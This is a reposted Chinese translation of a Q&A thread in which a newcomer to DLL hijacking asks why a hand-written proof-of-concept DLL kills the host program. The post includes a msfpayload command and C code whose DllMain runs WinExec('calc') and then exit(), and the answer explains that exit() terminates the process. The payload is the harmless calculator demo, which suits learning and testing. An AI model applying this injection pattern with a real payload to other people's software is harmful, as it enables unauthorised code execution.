[英]Dll Hijacking calculator C code
嗨,大家好,我是Dll Hijacking的新手。 我的問題很少,希望您能幫助我澄清我的疑問。
假設我使用msfpayload生成calc dll
msfpayload windows/exec CMD=calc.exe D > abc.dll
由msfpayload生成的dll文件可以正常工作,並且計算器會與軟件一起提示。
所以我用下面的C代碼:
#include <windows.h>
int owned()
{
WinExec("calc", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
當我對此進行編譯並使用時,僅計算器會提示。 該軟件將無法執行。 這是為什么? 我使用MinGW GCC編譯器進行編譯。
該軟件將無法執行。 [這是為什么?
幾乎可以肯定,因為owned()
調用exit()
。 這將終止該過程。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.